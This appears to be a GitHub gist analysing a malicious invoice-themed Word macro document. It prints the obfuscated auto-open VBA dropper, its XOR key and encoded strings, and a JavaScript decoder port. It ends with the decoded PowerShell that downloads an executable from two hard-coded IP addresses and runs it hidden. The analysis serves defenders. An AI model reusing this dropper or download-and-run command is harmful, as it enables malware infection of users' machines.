Skip to content

Instantly share code, notes, and snippets.

@liath
Last active February 1, 2019 18:30
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save liath/7a2c9ff841a37bd864820c3390f4e978 to your computer and use it in GitHub Desktop.
Save liath/7a2c9ff841a37bd864820c3390f4e978 to your computer and use it in GitHub Desktop.
more docs fun with malicious VBA macros

We received another malicious macro doc (Invoice_Info_99362097.doc) today that I just had to pick apart. Here's the tear down:

1 extract doc

Extract the macros with oletools→olevba

olevba --deobf Invoice_Info_99362097.doc

Loaded under a syntax highlighter, a quick glance shows that a bunch of this script is commented out. I guess to give the appearance to a string based analyzer that this file does something normal for a macro? It seems like a pretty safe bet that they can be removed.

The Autoopen seems to be the entry point. It calls Vulk which does some useless looping, perhaps this confuses dynamic analyzers? Idk. Vulk then calls Sduk which just wraps Launch2. There's parameters between all these calls, but, without actually looking, I'm gonna guess they're pointless attempts at obfuscation. Everything in the chain so far, and including this function, I'm going to refer to as the "loader". Everything else (DecScr, GetXORChar, etc) is only called by each other and their entry-point is through GetDecStr2, which I'll refer to as the encoder.

2 encoder

a - extract

Moved all the stuff related to the encoder into its own file.

b - determine purpose of subs

First things first, we can drop comments and anything that is declared and never referred to again. Eg:

Dim rtu As String
    rtu = "sdrgrthrhbdf45"

The functions breakdown to:

  • GetDecStr2 Walks an encoded string two characters at a time into DecScr
  • DecScr I'm guessing k is a 16 character key or password for GetXORChar, which is rolled through at each pass through of DecScr. So the first pass selects one character, the next pass grabs the second character, and so on.

Next we grab two chars from the encoded string and pass them to GetCorrPart and then mash them with the key part xx in GetXORChar.

  • GetXORChar ((UpperPart << 4) + LowerPart) ^ xx, nuff said.
  • GetCorrPart Shifts values some, I feel like the offsets are related to A-Z, a-z, and other chars in ASCII, but I'm dumb and too lazy to verify that when I don't need to. :)

c - the strings

All these ActiveDocument.Paragraphs calls seem to be reading hidden text from the actual doc, sneaky sneaky.

antiword Invoice_Info_99362097.doc

The key apparently lives at ActiveDocument.Paragraphs(2).Range, and we know it's 16 chars so this seems like what we're looking for:

LH(;RsnZYrc&(>gb

d - decoder port

Basically just did a 1-1 copy to js and imported the above dump, which yielded the payload.

3 the payload

Pretty straight-forward ps1 that attempts to download and run a file from two other hosts. I pretty printed it in 3a. /shrug

''' Macros/VBA/Document1
Sub Autoopen()
Dim Frun2 As String
Frun2 = "Njhwe124"
Vulk (1478)
End Sub
''' Macros/VBA/NewMacros
Sub Tru1()
Attribute Tru1.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.1"
'
' JUJHBN099912jhg
'
End Sub
Sub Tru2()
Attribute Tru2.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.2"
'
'
'
Selection.TypeText Text:="sfsfJHHGF0912"
Selection.TypeParagraph
Selection.TypeText Text:="MNJHhdbe"
Selection.TypeParagraph
End Sub
''' Macros/VBA/MacOS
Dim harvar As AutoCorrect
''Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
''Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Sub MySub()
sleep 1000
MsgBox "MIs"
End Sub
Sub GetDecStr(ET As String, ByRef CS As String)
Dim i As Integer
CS = ""
UpperPart = LowerPart = 0
For i = 1 To Len(ET) Step 2
CS = CS + Chr(GetDecChar(ET, i))
Next i
End Sub
Sub Vulk(dr As Integer)
Dim af18 As String, trm
''af18 = ActiveDocument.Paragraphs(3).Range
''af19 = ActiveDocument.Paragraphs(5).Range
'MsgBox (al21)
'al22 = ActiveDocument.Paragraphs(6).Range
'MsgBox (al22)
'al23 = ActiveDocument.Paragraphs(7).Range
'MsgBox (al23)
'al24 = ActiveDocument.Paragraphs(8).Range
'MsgBox (al24)
'al24 = ActiveDocument.Paragraphs(9).Range
'MsgBox (al24)
''ehui = LOnsh("*", 149)
'' ohuenobl12.Name
For zul = 1 To 77400 '00000
dfr2 = zul
Next zul
''sleep (5000)
''Application.Wait (Now + TimeValue("0:00:05"))
''MsgBox ("qwert")
''Application.OnTime Now + TimeValue("00:00:03"), "Proc"
'Wait Time:=Now + TimeSerial(0, 0, 3)
Sduk (451)
End Sub
Sub Sduk(Io As Integer)
qlr = Launch2("@", 115)
End Sub
Sub start3()
End Sub
Private Function GetDecStr2(ByVal ET As String)
Dim rtu As String
rtu = "sdrgrthrhbdf45"
Dim i As Integer
Dim DecScr As String
DecScr = ""
''MsgBox (Len(ET))
For i = 1 To Len(ET) - 1 Step 2 ''Len(ET)
DecScr = DecScr + Chr(GetDecChar(ET, i))
''MsgBox (DecScr)
Next i
''MsgBox (DecScr)
GetDecStr2 = DecScr
End Function
Private Function GetDecChar(ET As String, i As Integer) As Integer 'Even_odd
Dim UpperPart As Integer, LowerPart As Integer
Dim k As Integer
Dim xx As String
k = (i + 1) \ 2
''If k > 8 Then k = k - 8
k = k Mod 16
If k = 0 Then k = 16
''xx = Asc(Mid(Cells(3, 3), k, 1))
xx = Asc(Mid(ActiveDocument.Paragraphs(2).Range, k, 1))
''MsgBox (CStr(i) + " - " + CStr(k) + " - " + Chr(XX))
UpperPart = GetCorrPart(Asc(Mid(ET, i, 1)))
LowerPart = GetCorrPart(Asc(Mid(ET, i + 1, 1)))
GetDecChar = GetXORChar(UpperPart, LowerPart, xx)
End Function
Private Function GetXORChar(ByVal UpperPart As Integer, ByVal LowerPart As Integer, ByVal XXX As Integer) As Integer
GetXORChar = (UpperPart * 16 + LowerPart) Xor XXX ''mk ''48
End Function
Private Function GetCorrPart(ByVal Part As Integer) As Integer
Dim tmpPart As Integer
tmpPart = Part
If tmpPart >= 48 And tmpPart <= 57 Then
tmpPart = tmpPart - 48
ElseIf tmpPart >= 65 And tmpPart <= 70 Then
tmpPart = tmpPart - 55
Else: tmpPart = tmpPart - 81 ''55 - 32
End If
GetCorrPart = tmpPart
End Function
Private Function LOnsh(ByVal frau_67 As String, ByVal Dan56 As Integer) As Integer
''MsgBox (Asc())
''MsgBox (Dan56)
If Dan56 - 139 = Asc(frau_67) Then
''MsgBox ("12")
'MsgBox (GetDecStr2(ActiveDocument.Paragraphs(2).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(3).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(4).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(5).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(6).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(7).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(8).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(9).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(10).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(11).Range))
End If
If Dan56 - 36 - 30 - 41 = Asc(frau_67) + 2 * 0 Then
''MsgBox ("12")
''If Style = 156 Then
' Call grufff(GetDecStr2(ActiveDocument.Paragraphs(13).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(24).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(35).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(46).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(57).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(68).Range) & _
' GetDecStr2(ActiveDocument.Paragraphs(12 - 3).Range), Dan56 - 152 * 0 - 149 + 0)
'MsgBox (ActiveDocument.Paragraphs(3).Range)
'MsgBox (ActiveDocument.Paragraphs(5).Range)
'MsgBox (ActiveDocument.Paragraphs(7).Range)
'MsgBox (ActiveDocument.Paragraphs(9).Range)
'MsgBox (ActiveDocument.Paragraphs(10).Range)
'MsgBox (ActiveDocument.Paragraphs(11).Range)
'MsgBox (ActiveDocument.Paragraphs(12).Range)
'MsgBox (ActiveDocument.Paragraphs(13).Range)
End If
LOnsh = 1569
End Function
Private Function Launch2(ByVal Saldo As String, ByVal Kred As Integer) As Integer
If Asc(Saldo) + 51 = Kred Then
'' MsgBox ("12")
Set EU = CreateObject("WScript.Shell")
''Set we = ws.Exec(GetDecStr2(Cells(2, 1).Text) + GetDecStr2(Cells(3, 1).Text) + GetDecStr2(Cells(4, 1).Text) + GetDecStr2(Cells(5, 1).Text) + GetDecStr2(Cells(6, 1).Text) + GetDecStr2(Cells(7, 1).Text) + GetDecStr2(Cells(8, 1).Text) + GetDecStr2(Cells(9, 1).Text) + GetDecStr2(Cells(10, 1).Text) + GetDecStr2(Cells(11, 1).Text))
'we = ws.Run(GetDecStr2(ActiveDocument.Paragraphs(17).Range) & _
Lx12 = EU.Run(GetDecStr2(ActiveDocument.Paragraphs(3).Range) & GetDecStr2(ActiveDocument.Paragraphs(4).Range) & _
GetDecStr2(ActiveDocument.Paragraphs(5).Range) & GetDecStr2(ActiveDocument.Paragraphs(6).Range) & _
GetDecStr2(ActiveDocument.Paragraphs(7).Range) & GetDecStr2(ActiveDocument.Paragraphs(8).Range) & _
GetDecStr2(ActiveDocument.Paragraphs(4 + 5).Range), (129 - Kred - 14) * 10)
' MsgBox (GetDecStr2(ActiveDocument.Paragraphs(17 + 5).Range))
End If
End Function
Private Function GetDecStr2(ByVal ET As String)
Dim rtu As String
rtu = "sdrgrthrhbdf45"
Dim i As Integer
Dim DecScr As String
DecScr = ""
''MsgBox (Len(ET))
For i = 1 To Len(ET) - 1 Step 2 ''Len(ET)
DecScr = DecScr + Chr(GetDecChar(ET, i))
''MsgBox (DecScr)
Next i
''MsgBox (DecScr)
GetDecStr2 = DecScr
End Function
Private Function GetDecChar(ET As String, i As Integer) As Integer 'Even_odd
Dim UpperPart As Integer, LowerPart As Integer
Dim k As Integer
Dim xx As String
k = (i + 1) \ 2
''If k > 8 Then k = k - 8
k = k Mod 16
If k = 0 Then k = 16
''xx = Asc(Mid(Cells(3, 3), k, 1))
xx = Asc(Mid(ActiveDocument.Paragraphs(2).Range, k, 1))
''MsgBox (CStr(i) + " - " + CStr(k) + " - " + Chr(XX))
UpperPart = GetCorrPart(Asc(Mid(ET, i, 1)))
LowerPart = GetCorrPart(Asc(Mid(ET, i + 1, 1)))
GetDecChar = GetXORChar(UpperPart, LowerPart, xx)
End Function
Private Function GetXORChar(ByVal UpperPart As Integer, ByVal LowerPart As Integer, ByVal XXX As Integer) As Integer
GetXORChar = (UpperPart * 16 + LowerPart) Xor XXX ''mk ''48
End Function
Private Function GetCorrPart(ByVal Part As Integer) As Integer
Dim tmpPart As Integer
tmpPart = Part
If tmpPart >= 48 And tmpPart <= 57 Then
tmpPart = tmpPart - 48
ElseIf tmpPart >= 65 And tmpPart <= 70 Then
tmpPart = tmpPart - 55
Else: tmpPart = tmpPart - 81 ''55 - 32
End If
GetCorrPart = tmpPart
End Function
Private Function GetDecStr2(ByVal ET As String)
Dim i As Integer
Dim DecScr As String
' Builds the decoded string `DecScr` by walking the encoded string two chars
' at a time and running `GetDecChar` on them.
DecScr = ""
For i = 1 To Len(ET) - 1 Step 2
DecScr = DecScr + Chr(GetDecChar(ET, i))
Next i
GetDecStr2 = DecScr
End Function
Private Function GetDecChar(ET As String, i As Integer) As Integer
Dim UpperPart As Integer, LowerPart As Integer
Dim k As Integer
Dim xx As String
' 1 = 1, 3 = 2, 5 = 3, 7 = 4, 9 = 5, 11 = 6, 13 = 7, 15 = 8, 17 = 9, 19 = 10
' 21 = 11, 23 = 12, 25 = 13, 27 = 14. 29 = 15, 31 = 0, 33 = 1, 35 = 2, etc...
k = (i + 1) \ 2
k = k Mod 16
If k = 0 Then k = 16
' grab key from slot `k`
xx = Asc(Mid(ActiveDocument.Paragraphs(2).Range, k, 1))
' Grab two input chars, cast them to ints, and see how `GetCorrPart` feels.
UpperPart = GetCorrPart(Asc(Mid(ET, i, 1)))
LowerPart = GetCorrPart(Asc(Mid(ET, i + 1, 1)))
' Mash em together and return the result
GetDecChar = GetXORChar(UpperPart, LowerPart, xx)
End Function
Private Function GetXORChar(ByVal UpperPart As Integer, ByVal LowerPart As Integer, ByVal XXX As Integer) As Integer
GetXORChar = (UpperPart * 16 + LowerPart) Xor XXX
End Function
Private Function GetCorrPart(ByVal Part As Integer) As Integer
Dim tmpPart As Integer
tmpPart = Part
If tmpPart >= 48 And tmpPart <= 57 Then
tmpPart = tmpPart - 48
ElseIf tmpPart >= 65 And tmpPart <= 70 Then
tmpPart = tmpPart - 55
Else:
tmpPart = tmpPart - 81
End If
GetCorrPart = tmpPart
End Function
[pic]
LH(;RsnZYrc&(>gb
3]275`5_2000063`351_4^43505\4740706\190[714^4_3]2]1]005241510942706\465_2553082`3711174`4750471029244^5[21164^647901134[414[4[11
383[4155350046012[06114`46593[42683\5]493\1^096\700947444^5114537179134`200[15723717140\475]0^072`3]08482\001[3`345]0^435]101007
2_2\4452371^1[7[655111435852060129684^432650507[705]07495`500\0^2^2]4_523_16467_2[06114`4659564_646]4^5524491[3`3402480174511707
223_065_2[16497370491_45494[040[376]4[5_3^005`6769491_544^4[121022680]59371]1^6\620`474\455]565`0]600`0[6244406\6_414^17180[4950
7]70075]371]072[771506490`1240537570060[605^596\774356094`5\080\3]664`5_3^5447613`1^1143495^0`42646]4[5234124_333752474\455]564\
37214_13210302332^5`10525[5709053`600`5326071_60765^440^0]5]0_042^61081637024_6\700901544^5`0]59316855006_50183\351\07475]5\4701
232558543]16002_7[4]1052494]134`3]3[475837001^7[715606485_0413072138031]0_1]1_3`37044^43505\404\6]655`523]17012^2[061[4[4^1_0`0\282]4^556951
const fs = require('fs');
const file = fs.readFileSync('./2c-strings.txt').toString('utf-8').split('\n');
// ActiveDocument.Paragraphs(2).Range
const keyRing = file[3];
console.log({
keyRing,
});
// GetDecStr2
function decode(et) {
let decoded = '';
for (let i = 0; i < et.length; i += 2) {
decoded += String.fromCharCode(decodeChar(et, i));
}
return decoded;
}
// GetDecChar
function decodeChar(et, i) {
const keySlot = (i / 2) % 16;
const key = keyRing[keySlot].charCodeAt();
const upper = translate(et.substr(i, 1).charCodeAt());
const lower = translate(et.substr(i + 1, 1).charCodeAt());
return ((upper << 4) + lower) ^ key;
}
// GetCorrPart
function translate(part) {
if (part >= 48 && part <= 57) return part - 48;
if (part >= 65 && part <= 70) return part - 55;
return part - 81;
}
console.log('\nDecoded:');
console.log(file.slice(5).map(x => decode(x)).join(''));
powershell.exe "<#11#> function <#new function release#> split-strings([string] $string1){$beos1=1;try{(new-object system.net.webclient <#replace ext#> ).downloadfile($string1,($env:temp+'\openv.exe'));}catch{$beos1=0;}return $beos1;}$mmb1=@('107.173.104.208/geoip.geo','198.12.71.15/geoip.geo');foreach ($bifa in $mmb1){if(split-strings('http://'+$bifa) -eq 1){break;} };<#validate component#>start-process ($env:temp+'\openv.exe') -windowstyle hidden;"
function split-strings([string] $string1){
$beos1=1;
try {
(new-object system.net.webclient).downloadfile($string1, ($env:temp+'\openv.exe'));
} catch {
$beos1=0;
}
return $beos1;
}
$mmb1=@('107.173.104.208/geoip.geo','198.12.71.15/geoip.geo');
foreach ($bifa in $mmb1) {
if (split-strings('http://'+$bifa) -eq 1){
break;
}
};
start-process ($env:temp+'\openv.exe') -windowstyle hidden;